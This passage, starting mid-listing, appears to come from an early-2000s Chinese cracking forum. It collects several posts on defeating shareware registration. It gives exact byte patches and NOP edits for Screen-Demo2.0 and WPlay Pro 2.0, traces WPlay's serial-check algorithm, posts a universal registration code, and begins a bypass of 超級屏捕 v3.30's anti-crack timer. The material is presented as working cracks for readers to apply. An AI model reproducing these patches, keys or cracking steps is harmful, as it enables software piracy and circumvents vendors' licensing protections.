:0040C3B2 50 push eax
:0040C3B3 52 push edx
:0040C3B4 E832B20000 call 004175EB
:0040C3B9 83C408 add esp, 00000008
:0040C3BC 85C0 test eax, eax
:0040C3BE 7547 jne 0040C407…………………………NOP掉！
:0040C3C0 BB01000000 mov ebx, 00000001
:0040C3C5 8D4C240C lea ecx, dword ptr [esp+0C]
:0040C3C9 895E2C mov dword ptr [esi+2C], ebx
:0040C3CC 885C2420 mov byte ptr [esp+20], bl
:0040C3D0 E8E5B20100 call 004276BA
:0040C3D5 8D4C2410 lea ecx, dword ptr [esp+10]
:0040C3D9 C644242000 mov [esp+20], 00
:0040C3DE E8D7B20100 call 004276BA
:0040C3E3 8D4C2408 lea ecx, dword ptr [esp+08]
:0040C3E7 C7442420FFFFFFFF mov [esp+20], FFFFFFFF
:0040C3EF E8C6B20100 call 004276BA
:0040C3F4 8BC3 mov eax, ebx
:0040C3F6 5E pop esi
:0040C3F7 5B pop ebx
:0040C3F8 8B4C2410 mov ecx, dword ptr [esp+10]
:0040C3FC 64890D00000000 mov dword ptr fs:[00000000], ecx
:0040C403 83C41C add esp, 0000001C
:0040C406 C3 ret

这个程序脱壳后可以正常使用！试了试，可惜我没有装RealProducer，只能看到一个提示，但注册界面已经没有了！

完工！
多多指教！

标 题:哈哈~他的万能注册码：FR.FO8REUS (空)
发信人:小黑[CNCG]
时 间:2002-3-8 1:24:10
详细信息:


S-Demo2.0

 标 题:申请加入BCG破文二--一字节暴力破解S-Demo2.0 (7千字)
发信人:三根毛
时 间:2001-10-27 1:53:10
详细信息:
一字节暴力破解Screen-Demo2.0

作者：maomao
软件：Screen-Demo2.0
Screen-Demo2.0是一个极棒的屏幕抓录软件，一般被Cracker用于录制动画解密教程。
下载：http://www.qwerks.com/download/2834/SD20Setup.exe(950KMB)
工具：W32Dasm8.93 UltraEdit8.0
日期：2001-10-27

昨天写了一篇ScreenRecord1.2的注册破文和注册机编写过程，网友的鼓励给我了很大的信心。于是又按捺不住，下载了一个压缩率更高的屏幕制作软件Screen-Demo2.0，安装后有三个主要文件：S-Recorder(录制主文件)、S-Player(播放器)、S-Capture(拷屏)，安装后试用，发现录制1分钟左右的内容做成AVI，才400多K!而如果用ScreenRecord1.2制作，需要30M左右!强烈的责任感驱使我破解它，现把破解过程记录如下，当作申请加入BCG组织的第二篇破文，不足之处，望各位高手多多指点…… :)

    首先，用 Language 2000 侦测，没有壳,省了不少事。

运行S-Recorder,出来一个注册对话框，完全在情理之中，随便输入一些内容，按“OK”后提示“Register Failure!”,没关系，一名cracker最基本的素质是需要有耐心。
进入到程序目录，打开S-Demo.ini文件，你可以看到如下内容：
[Register]
Install=HKCSRC0RG0QGVQZVKZK
Name=maomao
Password=1234567890

[Option]
DoubleSize=1
Color=3
ImageQuality=64
AlwayNoImage=0
CompressNow=1
CaptureSpeed=2
KeyFrame=20
SlowRecord=0
SlowMinute=1
Audio=1
其中Name和Password就是你刚才输入的内容。看来S-Recorder是读取S-Demo.ini中的注册信息，再进行计算比较，如果用Name计算出来的Password与其中的不一样，就要弹出注册窗口了!OK，思路确定:寻找程序中读取INI文件的函数，再分析读完后的比较判断语句，小作修改后，嘿嘿，让它认为这个Password是对的....(窃笑三声)
使用静态反编译工具W32Dasm8.93进行反编译，一会儿程序代码就在W32Dasm的窗口中了。选择菜单“函数”->“输入”或点击W32Dasm工具栏上的“IMP”按钮，弹出一个输入函数对话框，其中列出了程序输入的所有外部函数。排在第一、二位的RegOpenKeyA和RegQueryValueExA正是我们要找的函数!它们负责打开注册表或INI文件的主键和读取键值。双击RegOpenKeyA，我们会来到这一段代码：

* Referenced by a CALL at Address:
|:004035C2 <=====从这里的地址跳来
|
:00407C30 83EC0C sub esp, 0000000C
:00407C33 56 push esi

* Reference To: ADVAPI32.RegOpenKeyA, Ord:0171h
|
:00407C34 8B3500904100 mov esi, dword ptr [00419000]<=====光标条停在这一行
:00407C3A 8D442404 lea eax, dword ptr [esp+04]
:00407C3E 57 push edi
:00407C3F 50 push eax

原来是004035C2读取注册表和INI文件。赶快按下SHIFT+F12，输入004035C2，回车后来到这里：
:004035BC A4 movsb
:004035BD B9C0E74200 mov ecx, 0042E7C0
:004035C2 E869460000 call 00407C30 <=====调用读注册表和INI函数(光标停在这里)
:004035C7 B9C0E74200 mov ecx, 0042E7C0
:004035CC E89F480000 call 00407E70 <=====计算并比较注册码
:004035D1 85C0 test eax, eax
:004035D3 0F8544010000 jne 0040371D <=====跳走就完了
:004035D9 50 push eax
:004035DA 8D4C2438 lea ecx, dword ptr [esp+38]
:004035DE E84DDEFFFF call 00401430
:004035E3 6894E84200 push 0042E894
:004035E8 8D8C2498000000 lea ecx, dword ptr [esp+00000098]
:004035EF C68424D801000004 mov byte ptr [esp+000001D8], 04

将光标停在:004035CC E89F480000 call 00407E70 这一行上，接向右的光标键“->”，程序会来到407E70开始的程序段：
* Referenced by a CALL at Address:
|:004035CC <=====说明这段程序的调用者
|
:00407E70 81ECD0000000 sub esp, 000000D0 <=====光标停在这一行上
:00407E76 53 push ebx
:00407E77 55 push ebp
:00407E78 56 push esi
:00407E79 8BE9 mov ebp, ecx
:00407E7B 57 push edi
:00407E7C 896C2410 mov dword ptr [esp+10], ebp

... (这里是读用户的信息，程序比较长，故省略)

一直来到这里：
* Possible StringData Ref from Data Obj ->"Clayman"
|
:00407F9D BED0D14100 mov esi, 0041D1D0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407FC4(C)
|
:00407FA2 8A13 mov dl, byte ptr [ebx] <=====读取用户注册码第一字节(已变换)
:00407FA4 8A0E mov cl, byte ptr [esi] <=====读取正确注册码第一字节(已变换)
:00407FA6 8AC2 mov al, dl
:00407FA8 3AD1 cmp dl, cl <=====比较
:00407FAA 751E jne 00407FCA <=====不相同就跳走
:00407FAC 84C0 test al, al
:00407FAE 7416 je 00407FC6
:00407FB0 8A4B01 mov cl, byte ptr [ebx+01]<=====取用户注册码下一字节(已变换)
:00407FB3 8A5601 mov dl, byte ptr [esi+01]<=====取正确注册码下一字节(已变换)
:00407FB6 8AC1 mov al, cl
:00407FB8 3ACA cmp cl, dl <=====比较
:00407FBA 750E jne 00407FCA <=====不相同就跳走
:00407FBC 83C302 add ebx, 00000002
:00407FBF 83C602 add esi, 00000002
:00407FC2 84C0 test al, al
:00407FC4 75DC jne 00407FA2 <=====没有比较完则继续比较
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407FAE(C)
|
:00407FC6 33C0 xor eax, eax
:00407FC8 EB05 jmp 00407FCF

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00407FAA(C), :00407FBA(C)
|
:00407FCA 1BC0 sbb eax, eax
:00407FCC 83D8FF sbb eax, FFFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407FC8(U)
|
:00407FCF 85C0 test eax, eax
:00407FD1 741B je 00407FEE <=====注册比较正确时跳转
:00407FD3 8B542410 mov edx, dword ptr [esp+10] <=====注册码错误的程序段
:00407FD7 5F pop edi
:00407FD8 5E pop esi
:00407FD9 5D pop ebp
:00407FDA C782D000000001000000 mov dword ptr [ebx+000000D0], 00000001
:00407FE4 33C0 xor eax, eax <=====执行到这里就完了
:00407FE6 5B pop ebx
:00407FE7 81C4D0000000 add esp, 000000D0
:00407FED C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00407F77(C), :00407FD1(C)
|
:00407FEE 8B442410 mov eax, dword ptr [esp+10]<=====如果注册码正确就会跳到这里
:00407FF2 5F pop edi
:00407FF3 5E pop esi
:00407FF4 5D pop ebp
:00407FF5 C780D000000000000000 mov dword ptr [ebx+000000D0], 00000000<=====送标志
:00407FFF B801000000 mov eax, 00000001 <=====哈哈，有没有看到这个标志?!
:00408004 5B pop ebx
:00408005 81C4D0000000 add esp, 000000D0
:0040800B C3 ret

这样，只要将00407FD1处的跳转指令74 1B(je 00407FEE)改为EB 1B(jmp 00407FEE)即可。用UltraEdit打开S-Recorder.exe，修改偏移量为0x7FD1处的代码74 1B为EB 1B，哈哈，只修改了一个字节!

说明：由于本人功力不深，又懒得分析其机器代码的生成和用户输入注册码的多次变换，所以也写不出一个通用的注册机，有兴趣的可以分析一下上面的轮换机制。本人分析不当之处，请多多指教。
收工~~~~~~


wplaypro2.0

 标 题:今天是平安夜，忍不住拿篇破解笔记请各位指教！希望大家平安夜快乐！：） (24千字)
发信人:freezelion
时 间:2001-12-24 21:09:22
详细信息:
以下是破解wplaypro2.0时的笔记，开始目的只是为了去掉启动的窗口，后来看了看算法，也不知道对不对，毕竟才接触汇编10天，请大家多多指教！

开始时间：12/23 3：54
用trw找到注册入口00415EF1和出错点004533AB
入口没法继续了，从后面看吧！
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045337B(C)
|
:0045339B 6A00 push 00000000
:0045339D 668B0DF0334500 mov cx, word ptr [004533F0]
:004533A4 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"The Key is not correct. Please "
->"register WPlay and receive your "
->"own personal key."
|
:004533A6 B850344500 mov eax, 00453450
:004533AB E880F3FDFF call 00432730
--------------------
上追：
:0045337B 741E je 0045339B 改吧！还是假成功！
跳过弹出窗口：
:004260CB 7405 je 004260D2 没用

:004245F2 E859150000 call 00425B50-----调用处，进入（不对）
* Referenced by a CALL at Addresses:
|:004245F2 , :00425D1F
|
:00425B50 53 push ebx
:00425B51 8BD8 mov ebx, eax
:00425B53 8BC3 mov eax, ebx
:00425B55 E836FFFFFF call 00425A90
:00425B5A 84C0 test al, al
:00425B5C 7507 jne 00425B65 改
:00425B5E 8BC3 mov eax, ebx
:00425B60 E86F040000 call 00425FD4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425B5C(C)
|
:00425B65 5B pop ebx
:00425B66 C3 ret
中止时间：12/23 4：30左右（失败）

继续时间12/23 19：49
找到成功段
:00453374 E813E3FFFF call 0045168C 成功判断，跟入，见下
:00453379 84C0 test al, al 成功标志位
:0045337B 741E je 0045339B
:0045337D 6A00 push 00000000
:0045337F 668B0DF0334500 mov cx, word ptr [004533F0]
:00453386 B202 mov dl, 02

* Possible StringData Ref from Code Obj ->"Thank you for your registration. "
->"You are now a registered WPlay "
->"Pro user."
-----------------------------------------------------
* Referenced by a CALL at Addresses:
|:00453374 , :00482E6A
:0045168C 55 push ebp EBP入栈
:0045168D 8BEC mov ebp, esp 栈目前指针到ebp
:0045168F 33C9 xor ecx, ecx ecx=0
:00451691 51 push ecx
:00451692 51 push ecx
:00451693 51 push ecx
:00451694 51 push ecx 入四个32位0进栈
:00451695 53 push ebx ebx入栈
:00451696 56 push esi esi入栈
:00451697 57 push edi edi入栈
:00451698 BF40864800 mov edi, 00488640 edi=00488640
:0045169D 33C0 xor eax, eax eax清0
:0045169F 55 push ebp ebp入栈
:004516A0 6842194500 push 00451942 00451942入栈
:004516A5 64FF30 push dword ptr fs:[eax] fs首地址入栈
:004516A8 648920 mov dword ptr fs:[eax], esp 堆栈目前指针入fs
:004516AB C645FF00 mov [ebp-01], 00 ebp-01=00
:004516AF 8D55F8 lea edx, dword ptr [ebp-08]
:004516B2 A18C7E4800 mov eax, dword ptr [00487E8C] 不管他
:004516B7 8B8030030000 mov eax, dword ptr [eax+00000330] eax目前为0
:004516BD E87627FCFF call 00413E38 一个大量调用处
:004516C2 8B45F8 mov eax, dword ptr [ebp-08]
:004516C5 E8AA20FBFF call 00403774
:004516CA 83F81E cmp eax, 0000001E eax与30比较（eax为注册号长度）
:004516CD 0F854C020000 jne 0045191F 如果不是就玩完（验证对）
:004516D3 BB01000000 mov ebx, 00000001 ebx清1
:004516D8 8BF7 mov esi, edi esi=edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004516FB(C)
|
:004516DA 8D55F8 lea edx, dword ptr [ebp-08]
:004516DD A18C7E4800 mov eax, dword ptr [00487E8C]
:004516E2 8B8030030000 mov eax, dword ptr [eax+00000330]
:004516E8 E84B27FCFF call 00413E38
:004516ED 8B45F8 mov eax, dword ptr [ebp-08] 注册号首地址到eax
:004516F0 8A4418FF mov al, byte ptr [eax+ebx-01] 送一个字节到al
:004516F4 8806 mov byte ptr [esi], al 此字节到esi所指处
:004516F6 43 inc ebx ebx++
:004516F7 46 inc esi esi++
:004516F8 83FB1F cmp ebx, 0000001F ebx与30比较
:004516FB 75DD jne 004516DA 相等时继续（将注册号依次送esi）
:004516FD 8A07 mov al, byte ptr [edi] 第一位到al
:004516FF A260864800 mov byte ptr [00488660], al 再到00488660
:00451704 8A4701 mov al, byte ptr [edi+01] 第二位到al
:00451707 A261864800 mov byte ptr [00488661], al 再……
:0045170C 8A4702 mov al, byte ptr [edi+02]
:0045170F A262864800 mov byte ptr [00488662], al
:00451714 8A4703 mov al, byte ptr [edi+03]
:00451717 A263864800 mov byte ptr [00488663], al edi所指四个字节（前四个字节）送到00488663所指处
:0045171C 33DB xor ebx, ebx ebx清0

以下设注册码从高到低为(a1)(a2).........(a30)
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045174E(C)
:0045171E 8BF3 mov esi, ebx ebx到esi(先是第一次循环）
:00451720 03F6 add esi, esi esi=esi*2
:00451722 8BC6 mov eax, esi eax=esi
:00451724 83C005 add eax, 00000005 eax+=5
:00451727 8A0407 mov al, byte ptr [edi+eax] 第五个(a5)到al(eax改变)
:0045172A E8B5FEFFFF call 004515E4 将al中ASCII码转为十六进制存到eax和edx （注册码只允许ASCII的0-9，A-F，a-f）
:0045172F C1E004 shl eax, 04 eax逻辑左移4位（eax*16）
eax=000000(a5)0
:00451732 50 push eax eax入栈
:00451733 83C606 add esi, 00000006 esi+=00000006
:00451736 8A0437 mov al, byte ptr [edi+esi] (a6)到al（eax改变）
:00451739 E8A6FEFFFF call 004515E4 转换
:0045173E 5A pop edx edx=000000(a5)0
:0045173F 0BD0 or edx, eax edx与eax进行 或 运算
:00451741 8D4304 lea eax, dword ptr [ebx+04]
:00451744 889060864800 mov byte ptr [eax+00488660], dl 将dl存到00488664当作第五个
:0045174A 43 inc ebx ebx++
:0045174B 83FB04 cmp ebx, 00000004 如果不是4
:0045174E 75CE jne 0045171E 就跳到回去（处理第5，7，9，11个注册码存到00488660的第5，6，7，8个）
:00451750 33DB xor ebx, ebx 否则ebx清0继续

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451782(C)
|
:00451752 8BF3 mov esi, ebx esi=ebx
:00451754 03F6 add esi, esi esi*2
:00451756 8BC6 mov eax, esi eax=esi
:00451758 83C00E add eax, 0000000E eax=14
:0045175B 8A0407 mov al, byte ptr [edi+eax] 第15位到al（eax改变）
:0045175E E881FEFFFF call 004515E4 转换
:00451763 C1E004 shl eax, 04 eax逻辑左移4位
:00451766 50 push eax eax入栈
:00451767 83C60F add esi, 0000000F esi+=15
:0045176A 8A0437 mov al, byte ptr [edi+esi] 第16位到al（eax改变）
:0045176D E872FEFFFF call 004515E4 转换
:00451772 5A pop edx 入栈的原eax值出栈到edx
:00451773 0BD0 or edx, eax 或运算（al已经变了）
:00451775 8D4308 lea eax, dword ptr [ebx+08]
:00451778 889060864800 mov byte ptr [eax+00488660], dl 存dl到目标第九位
:0045177E 43 inc ebx ebx++
:0045177F 83FB04 cmp ebx, 00000004 ebx等于4时
:00451782 75CE jne 00451752 停止循环（4次）（取注册码第（15，16），（17，18）（19，20）（21，22）位到目标第9，10，11，12位）
:00451784 8A4712 mov al, byte ptr [edi+12] 注册码第13位到al
:00451787 E858FEFFFF call 004515E4 转换(eax改变）
:0045178C 8BD8 mov ebx, eax ebx=eax
:0045178E C1E30C shl ebx, 0C ebx左移12位（16进制3位）
:00451791 8A4713 mov al, byte ptr [edi+13] 第14位到al
:00451794 E84BFEFFFF call 004515E4 转换(eax改变）

:00451799 C1E008 shl eax, 08 eax左移8位
:0045179C 0BD8 or ebx, eax ebx与eax或运算
:0045179E 8A4714 mov al, byte ptr [edi+14] 第15位到al
:004517A1 E83EFEFFFF call 004515E4 转换（eax改变）
:004517A6 C1E004 shl eax, 04 eax左移4位
:004517A9 0BD8 or ebx, eax ebx再与eax或
:004517AB 8A4715 mov al, byte ptr [edi+15] 第16位到al
:004517AE E831FEFFFF call 004515E4 转换(eax改变）
:004517B3 0BD8 or ebx, eax ebx再与eax或
:004517B5 8A4716 mov al, byte ptr [edi+16] 第17位到al
:004517B8 E827FEFFFF call 004515E4 转换(eax改变）
:004517BD 8BF0 mov esi, eax esi=eax
:004517BF C1E61C shl esi, 1C esi左移28位
:004517C2 8A4717 mov al, byte ptr [edi+17] 第18位到al
:004517C5 E81AFEFFFF call 004515E4 转换(eax改变）
:004517CA C1E018 shl eax, 18 eax左移24位
:004517CD 0BF0 or esi, eax esi与eax或
:004517CF 8A4718 mov al, byte ptr [edi+18] 第19位到al
:004517D2 E80DFEFFFF call 004515E4 转换(eax改变）
:004517D7 C1E014 shl eax, 14 eax左移20位
:004517DA 0BF0 or esi, eax esi再与eax或
:004517DC 8A4719 mov al, byte ptr [edi+19] 第20位
:004517DF E800FEFFFF call 004515E4
:004517E4 C1E010 shl eax, 10
:004517E7 0BF0 or esi, eax
:004517E9 8A471A mov al, byte ptr [edi+1A] 第21位
:004517EC E8F3FDFFFF call 004515E4
:004517F1 C1E00C shl eax, 0C
:004517F4 0BF0 or esi, eax
:004517F6 8A471B mov al, byte ptr [edi+1B] 第22位
:004517F9 E8E6FDFFFF call 004515E4
:004517FE C1E008 shl eax, 08
:00451801 0BF0 or esi, eax
:00451803 8A471C mov al, byte ptr [edi+1C] 第23位
:00451806 E8D9FDFFFF call 004515E4
:0045180B C1E004 shl eax, 04
:0045180E 0BF0 or esi, eax
:00451810 8A471D mov al, byte ptr [edi+1D] 第24位
:00451813 E8CCFDFFFF call 004515E4 调用（此位下面:0045181A的调用要用到）
:00451818 0BF0 or esi, eax esi再于eax或，结果到esi

:0045181A E861FDFFFF call 00451580 调用见下
:0045181F 3BD8 cmp ebx, eax 比较ebx与eax
:00451821 0F85F8000000 jne 0045191F 不等于就玩完
:00451827 E888FDFFFF call 004515B4 调用类似上一个
:0045182C 3BF0 cmp esi, eax 比较esi与eax
:0045182E 0F85EB000000 jne 0045191F 不等于就玩完
:00451834 8A4707 mov al, byte ptr [edi+07] 注册码第8位到al
:00451837 E8A8FDFFFF call 004515E4 还记得这个转换吧
:0045183C 83F803 cmp eax, 00000003 eax与3比较
:0045183F 0F85DA000000 jne 0045191F 不等于就玩完
:00451845 8A4708 mov al, byte ptr [edi+08]
:00451848 E897FDFFFF call 004515E4
:0045184D 83F802 cmp eax, 00000002
:00451850 0F85C9000000 jne 0045191F 不等于就玩完
:00451856 807F042D cmp byte ptr [edi+04], 2D
:0045185A 0F85BF000000 jne 0045191F 不等于就玩完
:00451860 807F0D2D cmp byte ptr [edi+0D], 2D
:00451864 0F85B5000000 jne 0045191F 不等于就玩完

:0045186A 8D45F0 lea eax, dword ptr [ebp-10] 、
:0045186D 8A17 mov dl, byte ptr [edi] |
:0045186F E89C1EFBFF call 00403710 |
:00451874 8B45F0 mov eax, dword ptr [ebp-10] |
:00451877 8D55F4 lea edx, dword ptr [ebp-0C] |
:0045187A E81546FBFF call 00405E94 》一个块
:0045187F 8B45F4 mov eax, dword ptr [ebp-0C] |
:00451882 BA5C194500 mov edx, 0045195C |
:00451887 E8F81FFBFF call 00403884 |
:0045188C 0F858D000000 jne 0045191F ~ 还是玩完

:00451892 8D45F0 lea eax, dword ptr [ebp-10]
:00451895 8A5701 mov dl, byte ptr [edi+01]
:00451898 E8731EFBFF call 00403710
:0045189D 8B45F0 mov eax, dword ptr [ebp-10]
:004518A0 8D55F4 lea edx, dword ptr [ebp-0C]
:004518A3 E8EC45FBFF call 00405E94
:004518A8 8B45F4 mov eax, dword ptr [ebp-0C]
:004518AB BA68194500 mov edx, 00451968
:004518B0 E8CF1FFBFF call 00403884
:004518B5 7568 jne 0045191F

:004518B7 8D45F0 lea eax, dword ptr [ebp-10]
:004518BA 8A5702 mov dl, byte ptr [edi+02]
:004518BD E84E1EFBFF call 00403710
:004518C2 8B45F0 mov eax, dword ptr [ebp-10]
:004518C5 8D55F4 lea edx, dword ptr [ebp-0C]
:004518C8 E8C745FBFF call 00405E94
:004518CD 8B45F4 mov eax, dword ptr [ebp-0C]
:004518D0 BA74194500 mov edx, 00451974
:004518D5 E8AA1FFBFF call 00403884
:004518DA 7543 jne 0045191F

:004518DC 8D45F0 lea eax, dword ptr [ebp-10]
:004518DF 8A5703 mov dl, byte ptr [edi+03]
:004518E2 E8291EFBFF call 00403710
:004518E7 8B45F0 mov eax, dword ptr [ebp-10]
:004518EA 8D55F4 lea edx, dword ptr [ebp-0C]
:004518ED E8A245FBFF call 00405E94
:004518F2 8B45F4 mov eax, dword ptr [ebp-0C]
:004518F5 BA80194500 mov edx, 00451980
:004518FA E8851FFBFF call 00403884
:004518FF 751E jne 0045191F

:00451901 8A4705 mov al, byte ptr [edi+05]
:00451904 E8DBFCFFFF call 004515E4 转换
:00451909 83F803 cmp eax, 00000003
:0045190C 7511 jne 0045191F 不等于就玩完
:0045190E 8A4706 mov al, byte ptr [edi+06]
:00451911 E8CEFCFFFF call 004515E4
:00451916 83F802 cmp eax, 00000002
:00451919 7504 jne 0045191F 不等于就玩完
:0045191B C645FF01 mov [ebp-01], 01
-------------------------------------------------------------------
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004516CD(C), :00451821(C), :0045182E(C), :0045183F(C), :00451850(C)
|:0045185A(C), :00451864(C), :0045188C(C), :004518B5(C), :004518DA(C)
|:004518FF(C), :0045190C(C), :00451919(C)
| 准备返回喽！
:0045191F 33C0 xor eax, eax
:00451921 5A pop edx
:00451922 59 pop ecx
:00451923 59 pop ecx
:00451924 648910 mov dword ptr fs:[eax], edx
:00451927 6849194500 push 00451949

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451947(U)
|
:0045192C 8D45F0 lea eax, dword ptr [ebp-10]
:0045192F BA02000000 mov edx, 00000002
:00451934 E8E71CFBFF call 00403620
:00451939 8D45F8 lea eax, dword ptr [ebp-08]
:0045193C E8BF1CFBFF call 00403600
:
:00451941 C3 ret
------------------------------------------------------
ASCII数字转16进制数字
* Referenced by a CALL at Addresses:
|:0045172A , :00451739 , :0045175E , :0045176D , :00451787
|:00451794 , :004517A1 , :004517AE , :004517B8 , :004517C5
|:004517D2 , :004517DF , :004517EC , :004517F9 , :00451806
|:00451813 , :00451837 , :00451848 , :00451904 , :00451911
|
:004515E4 3C30 cmp al, 30
:004515E6 7502 jne 004515EA
:004515E8 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004515E6(C)
|
:004515EA 3C31 cmp al, 31
:004515EC 7505 jne 004515F3
:004515EE BA01000000 mov edx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004515EC(C)
|
:004515F3 3C32 cmp al, 32
:004515F5 7505 jne 004515FC
:004515F7 BA02000000 mov edx, 00000002

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004515F5(C)
|
:004515FC 3C33 cmp al, 33
:004515FE 7505 jne 00451605
:00451600 BA03000000 mov edx, 00000003

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004515FE(C)
|
:00451605 3C34 cmp al, 34
:00451607 7505 jne 0045160E
:00451609 BA04000000 mov edx, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451607(C)
|
:0045160E 3C35 cmp al, 35
:00451610 7505 jne 00451617
:00451612 BA05000000 mov edx, 00000005

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451610(C)
|
:00451617 3C36 cmp al, 36
:00451619 7505 jne 00451620
:0045161B BA06000000 mov edx, 00000006

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451619(C)
|
:00451620 3C37 cmp al, 37
:00451622 7505 jne 00451629
:00451624 BA07000000 mov edx, 00000007

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451622(C)
|
:00451629 3C38 cmp al, 38
:0045162B 7505 jne 00451632
:0045162D BA08000000 mov edx, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045162B(C)
|
:00451632 3C39 cmp al, 39
:00451634 7505 jne 0045163B
:00451636 BA09000000 mov edx, 00000009

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451634(C)
|
:0045163B 3C61 cmp al, 61
:0045163D 7404 je 00451643
:0045163F 3C41 cmp al, 41
:00451641 7505 jne 00451648

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045163D(C)
|
:00451643 BA0A000000 mov edx, 0000000A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451641(C)
|
:00451648 3C62 cmp al, 62
:0045164A 7404 je 00451650
:0045164C 3C42 cmp al, 42
:0045164E 7505 jne 00451655

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045164A(C)
|
:00451650 BA0B000000 mov edx, 0000000B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045164E(C)
|
:00451655 3C63 cmp al, 63
:00451657 7404 je 0045165D
:00451659 3C43 cmp al, 43
:0045165B 7505 jne 00451662

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451657(C)
|
:0045165D BA0C000000 mov edx, 0000000C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045165B(C)
|
:00451662 3C64 cmp al, 64
:00451664 7404 je 0045166A
:00451666 3C44 cmp al, 44
:00451668 7505 jne 0045166F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451664(C)
|
:0045166A BA0D000000 mov edx, 0000000D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451668(C)
|
:0045166F 3C65 cmp al, 65
:00451671 7404 je 00451677
:00451673 3C45 cmp al, 45
:00451675 7505 jne 0045167C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451671(C)
|
:00451677 BA0E000000 mov edx, 0000000E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451675(C)
|
:0045167C 3C66 cmp al, 66
:0045167E 7404 je 00451684
:00451680 3C46 cmp al, 46
:00451682 7505 jne 00451689

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045167E(C)
|
:00451684 BA0F000000 mov edx, 0000000F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00451682(C)
|
:00451689 8BC2 mov eax, edx
:0045168B C3 ret
------------------------------------------------------------
* Referenced by a CALL at Address:
|:0045181A
|
:00451580 53 push ebx
:00451581 33D2 xor edx, edx edx清0
:00451583 B908000000 mov ecx, 00000008 ecx=00000008
:00451588 B860864800 mov eax, 00488660 eax=00488660 改变后存号码的地址

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004515A9(C)
|
:0045158D 33DB xor ebx, ebx ebx清0
:0045158F 8A18 mov bl, byte ptr [eax] 第一个到bl（ebx改变）
:00451591 33DA xor ebx, edx ebx与edx（dl为注册码第24位）异或
:00451593 81E3FF000000 and ebx, 000000FF ebx&000000FF（保留bl）
:00451599 8B1C9D745E4800 mov ebx, dword ptr [4*ebx+00485E74] ebx=[4*ebx+00485E74]地址的值（00485E74 转换表的地址）
:004515A0 C1EA08 shr edx, 08 edx右移8位（16进制2位）
:004515A3 33DA xor ebx, edx ebx与edx异或（ebx与edx合并）
:004515A5 8BD3 mov edx, ebx edx=ebx
:004515A7 40 inc eax eax++
:004515A8 49 dec ecx ecx--
:004515A9 75E2 jne 0045158D 循环8次（注册转换码前8个（共12个））
:004515AB 8BC2 mov eax, edx eax=edx
:004515AD 25FFFF0000 and eax, 0000FFFF eax&0000FFFF 只取高四位到eax
:004515B2 5B pop ebx 还原ebx
:004515B3 C3 ret
------------------------------------------------------------
* Referenced by a CALL at Address:
|:00451827
|
:004515B4 53 push ebx
:004515B5 33D2 xor edx, edx
:004515B7 B908000000 mov ecx, 00000008
:004515BC B864864800 mov eax, 00488664 从第5位开始

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004515DD(C)
|
:004515C1 33DB xor ebx, ebx
:004515C3 8A18 mov bl, byte ptr [eax]
:004515C5 33DA xor ebx, edx
:004515C7 81E3FF000000 and ebx, 000000FF
:004515CD 8B1C9D745E4800 mov ebx, dword ptr [4*ebx+00485E74]
:004515D4 C1EA08 shr edx, 08
:004515D7 33DA xor ebx, edx
:004515D9 8BD3 mov edx, ebx
:004515DB 40 inc eax
:004515DC 49 dec ecx
:004515DD 75E2 jne 004515C1 八次循环处理的是注册变换后码的8-12位
:004515DF 8BC2 mov eax, edx
:004515E1 5B pop ebx
:004515E2 C3 ret
---------------------------------------------------------
现在时间：12/23 23：53
继续时间：12/24 1：2
先试试暴力破解：找到那些跳转处一个个nop掉，呵呵成功！
现在时间：12/24 1：18 等会儿会分析算法，不过先去看看其他软件吧！


超級屏捕 v3.30

 标 题:超級屏捕 v3.30 破解過程 (16千字)
发信人:夢幻紫雲
时 间:2002-1-20 18:09:51
详细信息:
破解後，只要輸入24位註冊碼，就可以註冊成功囉~~
抗crack工具, 這次我先說這裡,和V3.20有點不同
* Reference To: USER32.SetTimer, Ord:0239h
|
:00401B1E 8B3DFCE74B00 mov edi, dword ptr [004BE7FC]
:00401B24 85C0 test eax, eax
:00401B26 740F je 00401B37 這裡一定要跳,建議改這裡直接跳過去
把 74 0F ==>> EB 3F
也就是 JMP 00401B67
:00401B28 8B4E1C mov ecx, dword ptr [esi+1C]
:00401B2B 6A00 push 00000000
:00401B2D 6830750000 push 00007530
:00401B32 6A04 push 00000004
:00401B34 51 push ecx
:00401B35 FFD7 call edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B26(C)
|
